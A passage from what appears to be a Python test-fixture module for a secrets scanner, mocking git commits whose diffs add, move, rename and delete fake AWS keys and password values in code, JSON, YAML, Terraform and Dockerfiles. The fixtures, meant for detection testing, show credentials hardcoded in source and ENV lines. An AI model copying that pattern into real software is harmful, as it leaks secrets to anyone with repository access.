files={\n                'main.py': 'diff --git a/main.py b/None\\nindex 0000..0000 0000\\n--- a/main.py\\n+++ b/None\\n@@ -1,5 +0,0 @@\\n-AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n-\\n-if __name__ == \\'__main__\\':\\n-    TEST_PASSWORD_1 = \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\"\\n-    print(\\'test\\')\\n'}\n        ),\n    ]\n    return commits_mock\n\n\ndef mock_git_repo_commits_rename_file(self, last_commit_sha: str) -> List[Commit]:\n    commits_mock = [\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='adef7360b86c62666f0a70521214220763b9c593',\n                committer='Strawberry🍓',\n                committed_datetime='2022-12-14T16:10:21+00:00'),\n            files={\n                'main.py': 'diff --git a/main.py b/main.py\\nindex 0000..0000 0000\\n--- a/main.py\\n+++ b/main.py\\n@@ -1,3 +1,3 @@\\n-\\n+AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n if __name__ == \\'__main__\\':\\n     print(\\'test\\')\\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='7b12f891358f690f254476c80988bfa837f36ac6',\n                committer='Strawberry🍓',\n                committed_datetime='2022-12-14T16:28:47+00:00'),\n            files={\n                'main.py': 'diff --git a/main.py b/main.py\\nindex 0000..0000 0000\\n--- a/main.py\\n+++ b/main.py\\n@@ -1,3 +1,4 @@\\n AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n+\\n if __name__ == \\'__main__\\':\\n     print(\\'test\\')\\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='2e1a500e688990e065fc6f1202bc64ed0ba53027',\n                committer='Strawberry🍓',\n                committed_datetime='2022-12-14T16:32:13+00:00'),\n            renamed_files={\n                'main.py': {\n                    \"rename_from\": \"main.py\",\n                    \"rename_to\": \"test.py\"\n                }\n            }\n        ),\n    ]\n    return commits_mock\n\n\ndef mock_git_repo_commits_modify_and_rename_file(self, last_commit_sha: str) -> List[Commit]:\n    \"\"\"\n    when we rename a file and modify it in the same commit it will consider as deleting the old file and creating a new file\n    add secret to file +1\n    rename the file and removed the secret- add removed_commit_hash\n    \"\"\"\n    commits_mock = [\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='62da8e5e04ec5c3a474467e9012bf3427cff0407',\n                committer='🍹rename',\n                committed_datetime='2022-12-14T16:10:21+00:00'),\n            files={\n                'test.py': 'diff --git a/test.py b/test.py\\nindex 0000..0000 0000\\n--- a/test.py\\n+++ b/test.py\\n@@ -1,4 +1,4 @@\\n-\\n+AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n \\n if __name__ == \\'__main__\\':\\n     print(\\'test\\')\\n'}\n        ),\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='61ee79aea3d151a40c8e054295f330d233eaf7d5',\n                committer='🍹rename',\n                committed_datetime='2022-12-14T16:28:47+00:00'),\n            files={\n                'test.py': 'diff --git a/test.py b/None\\nindex 0000..0000 0000\\n--- a/test.py\\n+++ b/None\\n@@ -1,4 +0,0 @@\\n-AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n-\\n-if __name__ == \\'__main__\\':\\n-    print(\\'test\\')\\n',\n                'test2.py': \"diff --git a/None b/test2.py\\nindex 0000..0000 0000\\n--- a/None\\n+++ b/test2.py\\n@@ -0,0 +1,3 @@\\n+\\n+if __name__ == '__main__':\\n+    print('test')\\n\"}\n        ),\n    ]\n    return commits_mock\n\n\ndef mock_git_repo_multiline_json(self, last_commit_sha: str) -> List[Commit]:\n    commits_mock = [\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='6b99e255555eacbd5f79a4efe77dcacdc63ed10f',\n                committer='🍽multiline_json',\n                committed_datetime='2022-12-14T16:10:21+00:00'),\n            files={\n                'test-multiline-secrets.json': 'diff --git a/None b/test-multiline-secrets.json\\nindex 0000..0000 0000\\n--- a/None\\n+++ b/test-multiline-secrets.json\\n@@ -0,0 +1,30 @@\\n+{\\n+  \"spec\": [\\n+    {\\n+      \"name\": \"SOME_NAME\",\\n+      \"value\": \"some_value\"\\n+    },\\n+    {\\n+      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\\n+      \"name\": \"TEST_PASSWORD_1\",\\n+      \"name1\": \"TEST_PASSWORD_2\",\\n+      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\\n+    },\\n+    {\\n+      \"name\": \"TEST_PASSWORD_3\",\\n+      \"value\": \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\\n+    },\\n+    {\\n+      \"name\": \"TEST_PASSWORD_4\",\\n+      \"value\": \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"\\n+    },\\n+    {\\n+      \"name\": \"TEST_PASSWORD_LONG_1\",\\n+      \"value\": \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\\n+    },\\n+    {\\n+      \"name\": \"TEST_PASSWORD_no_password\",\\n+      \"value\": \"RandomP@ssw0rd\"\\n+    }\\n+  ]\\n+}\\n\\\\ No newline at end of file\\n'}\n        ),\n    ]\n    return commits_mock\n\n\ndef mock_git_repo_multiline_terraform(self, last_commit_sha: str) -> List[Commit]:\n    commits_mock = [\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='6bee3eb2f69e06095395ae1d54c810c3a2a99841',\n                committer='🥢multiline_terraform',\n                committed_datetime='2022-12-14T16:10:21+00:00'),\n            files={\n                'secret_test.tf': 'diff --git a/secret_test.tf b/secret_test.tf\\nindex 0000..0000 0000\\n--- a/secret_test.tf\\n+++ b/secret_test.tf\\n@@ -0,0 +1,79 @@\\n+resource \"kubernetes_pod_v1\" \"test\" {\\n+  metadata {\\n+    name = \"terraform-example\"\\n+  }\\n+\\n+  spec {\\n+    container {\\n+      image = \"nginx:1.21.6\"\\n+      name  = \"example\"\\n+\\n+      env {\\n+        name  = \"SOME_NAME\"\\n+        value = \"some_value\"\\n+      }\\n+      # name1 & value1 are not valid arguments\\n+      env {\\n+        value  = \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\"\\n+        name = \"TEST_PASSWORD_1\"\\n+        name1 = \"TEST_PASSWORD_2\"\\n+        value1 = \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\"\\n+      }\\n+      env {\\n+        name  = \"TEST_PASSWORD_3\"\\n+        // comment 1\\n+        // comment 2\\n+        // comment 3\\n+        value = \"PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\\n+      }\\n+      env {\\n+        value = \"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\"\\n+        # comment 1\\n+        name  = \"TEST_PASSWORD_4\"\\n+      }\\n+      env {\\n+        name  = \"TEST_PASSWORD_LONG_1\"\\n+        value = \"m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\"\\n+      }\\n+      env {\\n+        name  = \"TEST_PASSWORD_no_password\"\\n+        value = \"RandomP@ssw0rd\"\\n+      }\\n+\\n+      port {\\n+        container_port = 80\\n+      }\\n+\\n+      liveness_probe {\\n+        http_get {\\n+          path = \"/\"\\n+          port = 80\\n+\\n+          http_header {\\n+            name  = \"X-Custom-Header\"\\n+            value = \"Awesome\"\\n+          }\\n+        }\\n+\\n+        initial_delay_seconds = 3\\n+        period_seconds        = 3\\n+      }\\n+    }\\n+\\n+    dns_config {\\n+      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\\n+      searches    = [\"example.com\"]\\n+\\n+      option {\\n+        name  = \"ndots\"\\n+        value = 1\\n+      }\\n+\\n+      option {\\n+        name = \"use-vc\"\\n+      }\\n+    }\\n+\\n+    dns_policy = \"None\"\\n+  }\\n+}\\n'}\n        ),\n    ]\n    return commits_mock\n\n\ndef mock_git_repo_multiline_yml(self, last_commit_sha: str) -> List[Commit]:\n    commits_mock = [\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash='cee6ad9d172ff447bd0afe8a478348b3ed6d3734',\n                committer='🥢multiline_yml',\n                committed_datetime='2022-12-14T16:10:21+00:00'),\n            files={\n                'test-multiline-secrets.yml': 'diff --git a/None b/test-multiline-secrets.yml\\nindex 0000..0000 0000\\n--- a/None\\n+++ b/test-multiline-secrets.yml\\n@@ -0,0 +1,15 @@\\n+spec:\\n+  - name: SOME_NAME\\n+    value: some_value\\n+  - value: Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\\n+    name: TEST_PASSWORD_1\\n+    name1: TEST_PASSWORD_2\\n+    value1: 1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\\n+  - name: TEST_PASSWORD_3\\n+    value: PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\\n+  - name: TEST_PASSWORD_4\\n+    value: emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\\n+  - name: TEST_PASSWORD_LONG_1\\n+    value: m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\\n+  - name: TEST_PASSWORD_no_password\\n+    value: RandomP@ssw0rd\\n'}\n        ),\n    ]\n    return commits_mock\n\n\ndef get_random_string(length: int) -> str:\n    chars = string.ascii_lowercase + string.ascii_letters\n    result_str = ''.join(random.choice(chars) for _i in range(length))\n    return result_str\n\n\ndef mock_case() -> Dict[str, str]:\n    cases = [\n        {\n            \"Dockerfile\": \"diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -4,6 +4,8 @@ FROM public.ecr.aws/lambda/python:3.9\\n \\n ENV PIP_ENV_VERSION=\\\"2022.1.8\\\"\\n \\n+ENV AWS_ACCESS_KEY_ID=\\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\"\\n+\\n COPY Pipfile Pipfile.lock ./\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n\"\n        },\n        {\n            \"Dockerfile\": \"diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -1,10 +1,9 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n-\\n+ENV AWS_ACCESS_KEY_ID=\\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\"\\n ENV PIP_ENV_VERSION=\\\"2022.1.8\\\"\\n \\n-ENV AWS_ACCESS_KEY_ID=\\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\"\\n \\n COPY Pipfile Pipfile.lock ./\\n \\n\"\n        },\n        {\n            \"Dockerfile\": \"diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -1,7 +1,7 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n-ENV AWS_ACCESS_KEY_ID=\\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\"\\n+ENV AWS_ACCESS_KEY_ID=\\\"AKIAZZZZZZZZZZZZZZZZ\\\"\\n ENV PIP_ENV_VERSION=\\\"2022.1.8\\\"\\n \\n \\n\"\n        },\n        {\n            \"Dockerfile\": \"diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -1,7 +1,7 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n-ENV AWS_ACCESS_KEY_ID=\\\"AKIAZZZZZZZZZZZZZZZZ\\\"\\n+\\n ENV PIP_ENV_VERSION=\\\"2022.1.8\\\"\\n \\n \\n\"\n        }\n    ]\n    return random.choice(cases)\n\n\ndef mock_git_repo_commits_too_much(self, last_commit_sha: str) -> List[Commit]:\n    return [\n        Commit(\n            metadata=CommitMetadata(\n                commit_hash=get_random_string(40),\n                committer='Cherry🍒moi-moi-lots-of-commits',\n                committed_datetime='2022-12-14T16:10:21+00:00'),\n            files=mock_case()\n        ) for _i in range(20000)\n    ]\n\n\ndef mock_run_forever(repo: Repo, root_folder: str, git_commits: List[Any],\n                     is_full_scan: bool = True) -> Generator[Commit, None, None]:\n    res: List[Commit] = []\n    while True:\n        a = 1 + 1\n        _ = a\n    yield\n    return res\n\n\ndef mock_commit_with_keyword_combinator() -> List[Commit]:\n    return [Commit(\n        metadata=CommitMetadata(\n            commit_hash='8a21fa691e17907afee57e93b7820c5943b12746',\n            committer='Cherry🍒',\n            committed_datetime='2022-12-14T16:10:21+00:00'),\n        files={\n            'main.py': 'diff --git a/None b/main.py\\nindex 0000..0000 0000\\n--- a/None\\n+++ b/main.py\\n@@ -0,0 +1,4 @@\\n+api_key = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMAAAKEY\"\\n+\\n+if __name__ == \"__main__\":\\n+    print(api_key)\\n\\\\ No newline at end of file\\n'}\n    )]\n\n\ndef mock_get_commits(repo: Repo, last_commit_sha: Optional[str] = None,\n                     branch: Optional[str] = None) -> List[Commit]:\n    \"\"\"\n        add secret (secret1 added) - +1\n        move the secret to different line - 0\n        modify the secret value (secret1 removed=update + secret2 added) - +1\n        remove the secret (secret2 removed=update) - 0\n        add file with new secret (secret3 added) - +1\n    \"\"\"\n    return []\n\n\ndef mock_get_commits_diff_iter_keyword_combinator(repo: Repo, root_folder: str, git_commits: List[Any],\n                                                  is_full_scan: bool = True) -> Generator[Commit, None, None]:\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b',\n            committer='🐲dragon of commits🐲',\n            committed_datetime='2022-11-14T16:10:21+00:00'),\n        files={\n            '.gitignore': \"--- ''\\n+++ .gitignore\\n@@ -0,0 +1,50 @@\\n+# These are some examples of commonly ignored file patterns.\\n+# You should customize this list as applicable to your project.\\n+# Learn more about .gitignore:\\n+#     https://www.atlassian.com/git/tutorials/saving-changes/gitignore\\n+\\n+# Node artifact files\\n+node_modules/\\n+dist/\\n+\\n+# Compiled Java class files\\n+*.class\\n+\\n+# Compiled Python bytecode\\n+*.py[cod]\\n+\\n+# Log files\\n+*.log\\n+\\n+# Package files\\n+*.jar\\n+\\n+# Maven\\n+target/\\n+dist/\\n+\\n+# JetBrains IDE\\n+.idea/\\n+\\n+# Unit test reports\\n+TEST*.xml\\n+\\n+# Generated by MacOS\\n+.DS_Store\\n+\\n+# Generated by Windows\\n+Thumbs.db\\n+\\n+# Applications\\n+*.app\\n+*.exe\\n+*.war\\n+\\n+# Large media files\\n+*.mp4\\n+*.tiff\\n+*.avi\\n+*.flv\\n+*.mov\\n+*.wmv\\n+\\n\",\n            'readme_mock-first-commit-mock.txt': \"--- ''\\n+++ readme_mock-first-commit-mock.txt\\n@@ -0,0 +1 @@\\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\\n\\\\ No newline at end of file\\n\",\n            'test-multiline-secrets-first-commit-mock.json': '--- \\'\\'\\n+++ test-multiline-secrets-first-commit-mock.json\\n@@ -0,0 +1,18 @@\\n+{\\n+  \"spec\": [\\n+    {\\n+    \"name\": \"TEST_PASSWORD_3\",\\n+    \"value\": \"ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\\n+    },\\n+    {\\n+      \"name\": \"SOME_NAME\",\\n+      \"value\": \"some_value\"\\n+    },\\n+    {\\n+      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\\n+      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\",\\n+      \"name\": \"TEST_PASSWORD_1\",\\n+      \"name1\": \"TEST_PASSWORD_2\"\\n+    }\\n+  ]\\n+}\\n\\\\ No newline at end of file\\n'\n        }\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='8a21fa691e17907afee57e93b7820c5943b12746',\n            committer='Cherry🍒',\n            committed_datetime='2022-12-14T16:10:21+00:00'),\n        files={\n            'main.py': 'diff --git a/None b/main.py\\nindex 0000..0000 0000\\n--- a/None\\n+++ b/main.py\\n@@ -0,0 +1,4 @@\\n+api_key = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMAAAKEY\"\\n+\\n+if __name__ == \"__main__\":\\n+    print(api_key)\\n\\\\ No newline at end of file\\n'}\n    )\n\n\ndef mock_get_commits_diff_iter1(repo: Repo, root_folder: str, git_commits: List[Any],\n                                is_full_scan: bool = True) -> Generator[Commit, None, None]:\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b',\n            committer='🐲dragon of commits🐲',\n            committed_datetime='2022-11-14T16:10:21+00:00'),\n        files={\n            '.gitignore': \"--- ''\\n+++ .gitignore\\n@@ -0,0 +1,50 @@\\n+# These are some examples of commonly ignored file patterns.\\n+# You should customize this list as applicable to your project.\\n+# Learn more about .gitignore:\\n+#     https://www.atlassian.com/git/tutorials/saving-changes/gitignore\\n+\\n+# Node artifact files\\n+node_modules/\\n+dist/\\n+\\n+# Compiled Java class files\\n+*.class\\n+\\n+# Compiled Python bytecode\\n+*.py[cod]\\n+\\n+# Log files\\n+*.log\\n+\\n+# Package files\\n+*.jar\\n+\\n+# Maven\\n+target/\\n+dist/\\n+\\n+# JetBrains IDE\\n+.idea/\\n+\\n+# Unit test reports\\n+TEST*.xml\\n+\\n+# Generated by MacOS\\n+.DS_Store\\n+\\n+# Generated by Windows\\n+Thumbs.db\\n+\\n+# Applications\\n+*.app\\n+*.exe\\n+*.war\\n+\\n+# Large media files\\n+*.mp4\\n+*.tiff\\n+*.avi\\n+*.flv\\n+*.mov\\n+*.wmv\\n+\\n\",\n            'readme_mock-first-commit-mock.txt': \"--- ''\\n+++ readme_mock-first-commit-mock.txt\\n@@ -0,0 +1 @@\\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\\n\\\\ No newline at end of file\\n\",\n            'test-multiline-secrets-first-commit-mock.json': '--- \\'\\'\\n+++ test-multiline-secrets-first-commit-mock.json\\n@@ -0,0 +1,18 @@\\n+{\\n+  \"spec\": [\\n+    {\\n+    \"name\": \"TEST_PASSWORD_3\",\\n+    \"value\": \"ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\"\\n+    },\\n+    {\\n+      \"name\": \"SOME_NAME\",\\n+      \"value\": \"some_value\"\\n+    },\\n+    {\\n+      \"value\": \"Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\",\\n+      \"value1\": \"1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\",\\n+      \"name\": \"TEST_PASSWORD_1\",\\n+      \"name1\": \"TEST_PASSWORD_2\"\\n+    }\\n+  ]\\n+}\\n\\\\ No newline at end of file\\n'\n        }\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='8a21fa691e17907afee57e93b7820c5943b12746',\n            committer='Cherry🍒',\n            committed_datetime='2022-12-14T16:10:21+00:00'),\n        files={\n            'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -4,6 +4,8 @@ FROM public.ecr.aws/lambda/python:3.9\\n \\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n \\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n+\\n COPY Pipfile Pipfile.lock ./\\n \\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\\\\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='d3249f33376b94a939b67a638aba4557b071875f',\n            committer='🍒Cherry🍒',\n            committed_datetime='2022-12-14T16:28:47+00:00'),\n        files={\n            'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -1,10 +1,9 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n-\\n+ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n \\n-ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n \\n COPY Pipfile Pipfile.lock ./\\n \\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='3d79bba03c6f0ddcfb8334f531701942c4be0f32',\n            committer='Cherry🍒',\n            committed_datetime='2022-12-14T16:32:13+00:00'),\n        files={\n            'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -1,7 +1,7 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n-ENV AWS_ACCESS_KEY_ID=\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n+ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n \\n \\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='7dff3b21fc2563f51655f34f0d3601cdf79d0d5e',\n            committer='🍒Cherry🍒',\n            committed_datetime='2022-12-14T16:54:05+00:00'),\n        files={\n            'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\\nindex 0000..0000 0000\\n--- a/Dockerfile\\n+++ b/Dockerfile\\n@@ -1,7 +1,7 @@\\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\\n FROM public.ecr.aws/lambda/python:3.9\\n-ENV AWS_ACCESS_KEY_ID=\"AKIAZZZZZZZZZZZZZZZZ\"\\n+\\n ENV PIP_ENV_VERSION=\"2022.1.8\"\\n \\n \\n'}\n    )\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='6941281550a12659bdbe87c9a537f88124f78fac',\n            committer='🍒Cherry🍒',\n            committed_datetime='2022-12-14T16:57:26+00:00'),\n        files={\n            'main.py': 'diff --git a/None b/main.py\\nindex 0000..0000 0000\\n--- a/None\\n+++ b/main.py\\n@@ -0,0 +1,4 @@\\n+AWS_ACCESS_TOKEN=\"AKIAZZZZZZZZZZZZZZZZ\"\\n+\\n+if __name__ == \"__main__\":\\n+    print(AWS_ACCESS_TOKEN)\\n\\\\ No newline at end of file\\n'}\n    )\n\n\ndef mock_get_commits_diff_iter2(repo: Repo, root_folder: str, git_commits: List[Any],\n                                is_full_scan: bool = True) -> Generator[Commit, None, None]:\n    \"\"\"\n        add secret (secret1 added) - +1\n        move the secret to different line - 0\n        remove the secret (secret1 removed=update) - 0\n        add secret (secret1 added - add the same secret - update) - 0\n        move the secret to different line - 0\n    \"\"\"\n\n    yield Commit(\n        metadata=CommitMetadata(\n            commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b',\n            committer='🐲dragon of commits🐲',\n            committed_datetime='2022-11-14T16:10:21+00:00'),\n        files={\n            '.gitignore': \"--- ''\\n+++ .gitignore\\n@@ -0,0 +1,50 @@\\n+# These are some examples of commonly ignored file patterns.\\n+# You should customize this list as applicable to your project.\\n+# Learn more about .gitignore:\\n+#     https://www.atlassian.com/git/tutorials/saving-changes/gitignore\\n+\\n+# Node artifact files\\n+node_modules/\\n+dist/\\n+\\n+# Compiled Java class files\\n+*.class\\n+\\n+# Compiled Python bytecode\\n+*.py[cod]\\n+\\n+# Log files\\n+*.log\\n+\\n+# Package files\\n+*.jar\\n+\\n+# 